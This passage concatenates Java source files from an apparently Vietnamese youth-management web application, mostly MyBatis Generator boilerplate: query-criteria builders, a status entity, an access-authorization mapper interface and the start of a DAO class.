public void setDetailReportName(String detailReportName) { this.detailReportName = detailReportName; } public String getCriteriaId() { return criteriaId; } public void setCriteriaId(String criteriaId) { this.criteriaId = criteriaId; } public String getCriteriaName() { return criteriaName; } public void setCriteriaName(String criteriaName) { this.criteriaName = criteriaName; } } ``` 923eece6f59dceb48016e385a717c1228a9c68c6.svn-base ```package vn.youthmanager.ict.youth.db.model; /** * * @author nylf1992 * */ public class Sym0023Result { private String screenName; private String note; public String getScreenName() { return screenName; } public void setScreenName(String screenName) { this.screenName = screenName; } public String getNote() { return note; } public void setNote(String note) { this.note = note; } } ``` QltnMProcessPersonExample.java ```package vn.youthmanager.ict.common.db.model; import java.util.ArrayList; import java.util.Date; import java.util.List; public class QltnMProcessPersonExample { /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ protected String orderByClause; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ protected boolean distinct; /** * This field was generated by MyBatis Generator. * This field corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ protected List<Criteria> oredCriteria; /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public QltnMProcessPersonExample() { oredCriteria = new ArrayList<Criteria>(); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setOrderByClause(String orderByClause) { this.orderByClause = orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public String getOrderByClause() { return orderByClause; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void setDistinct(boolean distinct) { this.distinct = distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public boolean isDistinct() { return distinct; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public List<Criteria> getOredCriteria() { return oredCriteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void or(Criteria criteria) { oredCriteria.add(criteria); } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public Criteria or() { Criteria criteria = createCriteriaInternal(); oredCriteria.add(criteria); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public Criteria createCriteria() { Criteria criteria = createCriteriaInternal(); if (oredCriteria.size() == 0) { oredCriteria.add(criteria); } return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ protected Criteria createCriteriaInternal() { Criteria criteria = new Criteria(); return criteria; } /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public void clear() { oredCriteria.clear(); orderByClause = null; distinct = false; } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ protected abstract static class GeneratedCriteria { protected List<Criterion> criteria; protected GeneratedCriteria() { super(); criteria = new ArrayList<Criterion>(); } public boolean isValid() { return criteria.size() > 0; } public List<Criterion> getAllCriteria() { return criteria; } public List<Criterion> getCriteria() { return criteria; } protected void addCriterion(String condition) { if (condition == null) { throw new RuntimeException("Value for condition cannot be null"); } criteria.add(new Criterion(condition)); } protected void addCriterion(String condition, Object value, String property) { if (value == null) { throw new RuntimeException("Value for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value)); } protected void addCriterion(String condition, Object value1, Object value2, String property) { if (value1 == null || value2 == null) { throw new RuntimeException("Between values for " + property + " cannot be null"); } criteria.add(new Criterion(condition, value1, value2)); } public Criteria andProcessPersonIdIsNull() { addCriterion("PROCESS_PERSON_ID is null"); return (Criteria) this; } public Criteria andProcessPersonIdIsNotNull() { addCriterion("PROCESS_PERSON_ID is not null"); return (Criteria) this; } public Criteria andProcessPersonIdEqualTo(String value) { addCriterion("PROCESS_PERSON_ID =", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdNotEqualTo(String value) { addCriterion("PROCESS_PERSON_ID <>", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdGreaterThan(String value) { addCriterion("PROCESS_PERSON_ID >", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdGreaterThanOrEqualTo(String value) { addCriterion("PROCESS_PERSON_ID >=", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdLessThan(String value) { addCriterion("PROCESS_PERSON_ID <", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdLessThanOrEqualTo(String value) { addCriterion("PROCESS_PERSON_ID <=", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdLike(String value) { addCriterion("PROCESS_PERSON_ID like", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdNotLike(String value) { addCriterion("PROCESS_PERSON_ID not like", value, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdIn(List<String> values) { addCriterion("PROCESS_PERSON_ID in", values, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdNotIn(List<String> values) { addCriterion("PROCESS_PERSON_ID not in", values, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdBetween(String value1, String value2) { addCriterion("PROCESS_PERSON_ID between", value1, value2, "processPersonId"); return (Criteria) this; } public Criteria andProcessPersonIdNotBetween(String value1, String value2) { addCriterion("PROCESS_PERSON_ID not between", value1, value2, "processPersonId"); return (Criteria) this; } public Criteria andPersonIdIsNull() { addCriterion("PERSON_ID is null"); return (Criteria) this; } public Criteria andPersonIdIsNotNull() { addCriterion("PERSON_ID is not null"); return (Criteria) this; } public Criteria andPersonIdEqualTo(String value) { addCriterion("PERSON_ID =", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotEqualTo(String value) { addCriterion("PERSON_ID <>", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThan(String value) { addCriterion("PERSON_ID >", value, "personId"); return (Criteria) this; } public Criteria andPersonIdGreaterThanOrEqualTo(String value) { addCriterion("PERSON_ID >=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThan(String value) { addCriterion("PERSON_ID <", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLessThanOrEqualTo(String value) { addCriterion("PERSON_ID <=", value, "personId"); return (Criteria) this; } public Criteria andPersonIdLike(String value) { addCriterion("PERSON_ID like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdNotLike(String value) { addCriterion("PERSON_ID not like", value, "personId"); return (Criteria) this; } public Criteria andPersonIdIn(List<String> values) { addCriterion("PERSON_ID in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdNotIn(List<String> values) { addCriterion("PERSON_ID not in", values, "personId"); return (Criteria) this; } public Criteria andPersonIdBetween(String value1, String value2) { addCriterion("PERSON_ID between", value1, value2, "personId"); return (Criteria) this; } public Criteria andPersonIdNotBetween(String value1, String value2) { addCriterion("PERSON_ID not between", value1, value2, "personId"); return (Criteria) this; } public Criteria andFromYearIsNull() { addCriterion("FROM_YEAR is null"); return (Criteria) this; } public Criteria andFromYearIsNotNull() { addCriterion("FROM_YEAR is not null"); return (Criteria) this; } public Criteria andFromYearEqualTo(String value) { addCriterion("FROM_YEAR =", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearNotEqualTo(String value) { addCriterion("FROM_YEAR <>", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearGreaterThan(String value) { addCriterion("FROM_YEAR >", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearGreaterThanOrEqualTo(String value) { addCriterion("FROM_YEAR >=", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearLessThan(String value) { addCriterion("FROM_YEAR <", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearLessThanOrEqualTo(String value) { addCriterion("FROM_YEAR <=", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearLike(String value) { addCriterion("FROM_YEAR like", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearNotLike(String value) { addCriterion("FROM_YEAR not like", value, "fromYear"); return (Criteria) this; } public Criteria andFromYearIn(List<String> values) { addCriterion("FROM_YEAR in", values, "fromYear"); return (Criteria) this; } public Criteria andFromYearNotIn(List<String> values) { addCriterion("FROM_YEAR not in", values, "fromYear"); return (Criteria) this; } public Criteria andFromYearBetween(String value1, String value2) { addCriterion("FROM_YEAR between", value1, value2, "fromYear"); return (Criteria) this; } public Criteria andFromYearNotBetween(String value1, String value2) { addCriterion("FROM_YEAR not between", value1, value2, "fromYear"); return (Criteria) this; } public Criteria andToYearIsNull() { addCriterion("TO_YEAR is null"); return (Criteria) this; } public Criteria andToYearIsNotNull() { addCriterion("TO_YEAR is not null"); return (Criteria) this; } public Criteria andToYearEqualTo(String value) { addCriterion("TO_YEAR =", value, "toYear"); return (Criteria) this; } public Criteria andToYearNotEqualTo(String value) { addCriterion("TO_YEAR <>", value, "toYear"); return (Criteria) this; } public Criteria andToYearGreaterThan(String value) { addCriterion("TO_YEAR >", value, "toYear"); return (Criteria) this; } public Criteria andToYearGreaterThanOrEqualTo(String value) { addCriterion("TO_YEAR >=", value, "toYear"); return (Criteria) this; } public Criteria andToYearLessThan(String value) { addCriterion("TO_YEAR <", value, "toYear"); return (Criteria) this; } public Criteria andToYearLessThanOrEqualTo(String value) { addCriterion("TO_YEAR <=", value, "toYear"); return (Criteria) this; } public Criteria andToYearLike(String value) { addCriterion("TO_YEAR like", value, "toYear"); return (Criteria) this; } public Criteria andToYearNotLike(String value) { addCriterion("TO_YEAR not like", value, "toYear"); return (Criteria) this; } public Criteria andToYearIn(List<String> values) { addCriterion("TO_YEAR in", values, "toYear"); return (Criteria) this; } public Criteria andToYearNotIn(List<String> values) { addCriterion("TO_YEAR not in", values, "toYear"); return (Criteria) this; } public Criteria andToYearBetween(String value1, String value2) { addCriterion("TO_YEAR between", value1, value2, "toYear"); return (Criteria) this; } public Criteria andToYearNotBetween(String value1, String value2) { addCriterion("TO_YEAR not between", value1, value2, "toYear"); return (Criteria) this; } public Criteria andContentIsNull() { addCriterion("CONTENT is null"); return (Criteria) this; } public Criteria andContentIsNotNull() { addCriterion("CONTENT is not null"); return (Criteria) this; } public Criteria andContentEqualTo(String value) { addCriterion("CONTENT =", value, "content"); return (Criteria) this; } public Criteria andContentNotEqualTo(String value) { addCriterion("CONTENT <>", value, "content"); return (Criteria) this; } public Criteria andContentGreaterThan(String value) { addCriterion("CONTENT >", value, "content"); return (Criteria) this; } public Criteria andContentGreaterThanOrEqualTo(String value) { addCriterion("CONTENT >=", value, "content"); return (Criteria) this; } public Criteria andContentLessThan(String value) { addCriterion("CONTENT <", value, "content"); return (Criteria) this; } public Criteria andContentLessThanOrEqualTo(String value) { addCriterion("CONTENT <=", value, "content"); return (Criteria) this; } public Criteria andContentLike(String value) { addCriterion("CONTENT like", value, "content"); return (Criteria) this; } public Criteria andContentNotLike(String value) { addCriterion("CONTENT not like", value, "content"); return (Criteria) this; } public Criteria andContentIn(List<String> values) { addCriterion("CONTENT in", values, "content"); return (Criteria) this; } public Criteria andContentNotIn(List<String> values) { addCriterion("CONTENT not in", values, "content"); return (Criteria) this; } public Criteria andContentBetween(String value1, String value2) { addCriterion("CONTENT between", value1, value2, "content"); return (Criteria) this; } public Criteria andContentNotBetween(String value1, String value2) { addCriterion("CONTENT not between", value1, value2, "content"); return (Criteria) this; } public Criteria andCreateUserIdIsNull() { addCriterion("CREATE_USER_ID is null"); return (Criteria) this; } public Criteria andCreateUserIdIsNotNull() { addCriterion("CREATE_USER_ID is not null"); return (Criteria) this; } public Criteria andCreateUserIdEqualTo(String value) { addCriterion("CREATE_USER_ID =", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotEqualTo(String value) { addCriterion("CREATE_USER_ID <>", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThan(String value) { addCriterion("CREATE_USER_ID >", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdGreaterThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID >=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThan(String value) { addCriterion("CREATE_USER_ID <", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLessThanOrEqualTo(String value) { addCriterion("CREATE_USER_ID <=", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdLike(String value) { addCriterion("CREATE_USER_ID like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotLike(String value) { addCriterion("CREATE_USER_ID not like", value, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdIn(List<String> values) { addCriterion("CREATE_USER_ID in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotIn(List<String> values) { addCriterion("CREATE_USER_ID not in", values, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdBetween(String value1, String value2) { addCriterion("CREATE_USER_ID between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateUserIdNotBetween(String value1, String value2) { addCriterion("CREATE_USER_ID not between", value1, value2, "createUserId"); return (Criteria) this; } public Criteria andCreateDateIsNull() { addCriterion("CREATE_DATE is null"); return (Criteria) this; } public Criteria andCreateDateIsNotNull() { addCriterion("CREATE_DATE is not null"); return (Criteria) this; } public Criteria andCreateDateEqualTo(Date value) { addCriterion("CREATE_DATE =", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotEqualTo(Date value) { addCriterion("CREATE_DATE <>", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThan(Date value) { addCriterion("CREATE_DATE >", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateGreaterThanOrEqualTo(Date value) { addCriterion("CREATE_DATE >=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThan(Date value) { addCriterion("CREATE_DATE <", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateLessThanOrEqualTo(Date value) { addCriterion("CREATE_DATE <=", value, "createDate"); return (Criteria) this; } public Criteria andCreateDateIn(List<Date> values) { addCriterion("CREATE_DATE in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotIn(List<Date> values) { addCriterion("CREATE_DATE not in", values, "createDate"); return (Criteria) this; } public Criteria andCreateDateBetween(Date value1, Date value2) { addCriterion("CREATE_DATE between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andCreateDateNotBetween(Date value1, Date value2) { addCriterion("CREATE_DATE not between", value1, value2, "createDate"); return (Criteria) this; } public Criteria andUpdateUserIdIsNull() { addCriterion("UPDATE_USER_ID is null"); return (Criteria) this; } public Criteria andUpdateUserIdIsNotNull() { addCriterion("UPDATE_USER_ID is not null"); return (Criteria) this; } public Criteria andUpdateUserIdEqualTo(String value) { addCriterion("UPDATE_USER_ID =", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotEqualTo(String value) { addCriterion("UPDATE_USER_ID <>", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThan(String value) { addCriterion("UPDATE_USER_ID >", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdGreaterThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID >=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThan(String value) { addCriterion("UPDATE_USER_ID <", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLessThanOrEqualTo(String value) { addCriterion("UPDATE_USER_ID <=", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdLike(String value) { addCriterion("UPDATE_USER_ID like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotLike(String value) { addCriterion("UPDATE_USER_ID not like", value, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdIn(List<String> values) { addCriterion("UPDATE_USER_ID in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotIn(List<String> values) { addCriterion("UPDATE_USER_ID not in", values, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andUpdateUserIdNotBetween(String value1, String value2) { addCriterion("UPDATE_USER_ID not between", value1, value2, "updateUserId"); return (Criteria) this; } public Criteria andLastUpdateDateIsNull() { addCriterion("LAST_UPDATE_DATE is null"); return (Criteria) this; } public Criteria andLastUpdateDateIsNotNull() { addCriterion("LAST_UPDATE_DATE is not null"); return (Criteria) this; } public Criteria andLastUpdateDateEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE =", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <>", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThan(Date value) { addCriterion("LAST_UPDATE_DATE >", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateGreaterThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE >=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThan(Date value) { addCriterion("LAST_UPDATE_DATE <", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateLessThanOrEqualTo(Date value) { addCriterion("LAST_UPDATE_DATE <=", value, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotIn(List<Date> values) { addCriterion("LAST_UPDATE_DATE not in", values, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andLastUpdateDateNotBetween(Date value1, Date value2) { addCriterion("LAST_UPDATE_DATE not between", value1, value2, "lastUpdateDate"); return (Criteria) this; } public Criteria andDeleteFlagIsNull() { addCriterion("DELETE_FLAG is null"); return (Criteria) this; } public Criteria andDeleteFlagIsNotNull() { addCriterion("DELETE_FLAG is not null"); return (Criteria) this; } public Criteria andDeleteFlagEqualTo(String value) { addCriterion("DELETE_FLAG =", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotEqualTo(String value) { addCriterion("DELETE_FLAG <>", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThan(String value) { addCriterion("DELETE_FLAG >", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagGreaterThanOrEqualTo(String value) { addCriterion("DELETE_FLAG >=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThan(String value) { addCriterion("DELETE_FLAG <", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLessThanOrEqualTo(String value) { addCriterion("DELETE_FLAG <=", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagLike(String value) { addCriterion("DELETE_FLAG like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotLike(String value) { addCriterion("DELETE_FLAG not like", value, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagIn(List<String> values) { addCriterion("DELETE_FLAG in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotIn(List<String> values) { addCriterion("DELETE_FLAG not in", values, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagBetween(String value1, String value2) { addCriterion("DELETE_FLAG between", value1, value2, "deleteFlag"); return (Criteria) this; } public Criteria andDeleteFlagNotBetween(String value1, String value2) { addCriterion("DELETE_FLAG not between", value1, value2, "deleteFlag"); return (Criteria) this; } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_process_person * * @mbggenerated do_not_delete_during_merge Sun Jul 16 10:47:33 ICT 2017 */ public static class Criteria extends GeneratedCriteria { protected Criteria() { super(); } } /** * This class was generated by MyBatis Generator. * This class corresponds to the database table qltn_m_process_person * * @mbggenerated Sun Jul 16 10:47:33 ICT 2017 */ public static class Criterion { private String condition; private Object value; private Object secondValue; private boolean noValue; private boolean singleValue; private boolean betweenValue; private boolean listValue; private String typeHandler; public String getCondition() { return condition; } public Object getValue() { return value; } public Object getSecondValue() { return secondValue; } public boolean isNoValue() { return noValue; } public boolean isSingleValue() { return singleValue; } public boolean isBetweenValue() { return betweenValue; } public boolean isListValue() { return listValue; } public String getTypeHandler() { return typeHandler; } protected Criterion(String condition) { super(); this.condition = condition; this.typeHandler = null; this.noValue = true; } protected Criterion(String condition, Object value, String typeHandler) { super(); this.condition = condition; this.value = value; this.typeHandler = typeHandler; if (value instanceof List<?>) { this.listValue = true; } else { this.singleValue = true; } } protected Criterion(String condition, Object value) { this(condition, value, null); } protected Criterion(String condition, Object value, Object secondValue, String typeHandler) { super(); this.condition = condition; this.value = value; this.secondValue = secondValue; this.typeHandler = typeHandler; this.betweenValue = true; } protected Criterion(String condition, Object value, Object secondValue) { this(condition, value, secondValue, null); } } }``` 10fd5f176b124d8d44df160f4fd5f1161b3ccf9f.svn-base ```package vn.youthmanager.ict.common.db.mapper; import java.util.List; import org.apache.ibatis.annotations.Param; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorization; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorizationExample; import vn.youthmanager.ict.common.db.model.QltnMAccessAuthorizationKey; public interface QltnMAccessAuthorizationMapper { /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int countByExample(QltnMAccessAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByExample(QltnMAccessAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int deleteByPrimaryKey(QltnMAccessAuthorizationKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insert(QltnMAccessAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int insertSelective(QltnMAccessAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ List<QltnMAccessAuthorization> selectByExample(QltnMAccessAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ QltnMAccessAuthorization selectByPrimaryKey(QltnMAccessAuthorizationKey key); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExampleSelective(@Param("record") QltnMAccessAuthorization record, @Param("example") QltnMAccessAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByExample(@Param("record") QltnMAccessAuthorization record, @Param("example") QltnMAccessAuthorizationExample example); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKeySelective(QltnMAccessAuthorization record); /** * This method was generated by MyBatis Generator. * This method corresponds to the database table qltn_m_access_authorization * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ int updateByPrimaryKey(QltnMAccessAuthorization record); }``` QltnMStatus.java ```package vn.youthmanager.ict.common.db.model; import java.util.Date; public class QltnMStatus { /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.STATUS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String statusId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.STATUS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String statusName; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String createUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date createDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String updateUserId; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private Date lastUpdateDate; /** * This field was generated by MyBatis Generator. * This field corresponds to the database column qltn_m_status.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ private String deleteFlag; /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.STATUS_ID * * @return the value of qltn_m_status.STATUS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getStatusId() { return statusId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.STATUS_ID * * @param statusId the value for qltn_m_status.STATUS_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setStatusId(String statusId) { this.statusId = statusId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.STATUS_NAME * * @return the value of qltn_m_status.STATUS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getStatusName() { return statusName; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.STATUS_NAME * * @param statusName the value for qltn_m_status.STATUS_NAME * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setStatusName(String statusName) { this.statusName = statusName; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.CREATE_USER_ID * * @return the value of qltn_m_status.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getCreateUserId() { return createUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.CREATE_USER_ID * * @param createUserId the value for qltn_m_status.CREATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateUserId(String createUserId) { this.createUserId = createUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.CREATE_DATE * * @return the value of qltn_m_status.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getCreateDate() { return createDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.CREATE_DATE * * @param createDate the value for qltn_m_status.CREATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setCreateDate(Date createDate) { this.createDate = createDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.UPDATE_USER_ID * * @return the value of qltn_m_status.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getUpdateUserId() { return updateUserId; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.UPDATE_USER_ID * * @param updateUserId the value for qltn_m_status.UPDATE_USER_ID * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setUpdateUserId(String updateUserId) { this.updateUserId = updateUserId; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.LAST_UPDATE_DATE * * @return the value of qltn_m_status.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public Date getLastUpdateDate() { return lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.LAST_UPDATE_DATE * * @param lastUpdateDate the value for qltn_m_status.LAST_UPDATE_DATE * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setLastUpdateDate(Date lastUpdateDate) { this.lastUpdateDate = lastUpdateDate; } /** * This method was generated by MyBatis Generator. * This method returns the value of the database column qltn_m_status.DELETE_FLAG * * @return the value of qltn_m_status.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public String getDeleteFlag() { return deleteFlag; } /** * This method was generated by MyBatis Generator. * This method sets the value of the database column qltn_m_status.DELETE_FLAG * * @param deleteFlag the value for qltn_m_status.DELETE_FLAG * * @mbggenerated Sat Apr 08 18:31:52 ICT 2017 */ public void setDeleteFlag(String deleteFlag) { this.deleteFlag = deleteFlag; } }``` Sym0014Dao.java ```package vn.youthmanager.ict.youth.dao; import org.springframework.beans.factory.annotation.Autowired; import org.springframework.stereotype.Component; import vn.youthmanager.ict.common.db.mapper.QltnMCityMapper; import vn.youthmanager.ict.common.db.mapper.QltnMCountryMapper; import vn.youthmanager.ict.common.db.mapper.QltnMDistrictMapper; import vn.youthmanager.ict.common.db.mapper.QltnMWardsMapper; import 